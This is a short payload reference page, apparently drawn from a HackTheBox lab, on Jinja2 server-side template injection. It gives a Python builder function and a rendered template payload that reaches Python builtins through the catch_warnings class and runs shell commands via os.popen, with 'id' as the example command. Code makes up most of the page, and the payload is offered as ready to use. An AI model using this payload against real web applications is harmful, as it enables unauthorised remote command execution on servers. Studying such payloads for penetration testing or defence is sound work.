Skip to content
Jinja2 catch_warnings RCE

Jinja2 catch_warnings RCE

Jinja2 SSTI RCE via catch_warnings

Builds a Jinja2 payload that reaches Python builtins through the catch_warnings class and executes a command with os.popen().

The payload walks ().__class__.__base__.__subclasses__() until it finds catch_warnings, then pivots through x()._module.__builtins__ to call __import__("os").popen(...).read(). repr(command) is important: it quotes and escapes the command as a valid Python string literal, so spaces and quotes inside the command do not break the template expression.

def jinja2_popen_payload(command):
    return "{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen(" + repr(command) + ").read() }}{% endif %}{% endfor %}"

Rendered payload

{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}{% endif %}{% endfor %}

Find by: ssti, jinja2, jinja, template injection, catch_warnings, subclasses, builtins, import os, popen, command execution, repr, python template · Source: HTB/JinjaCare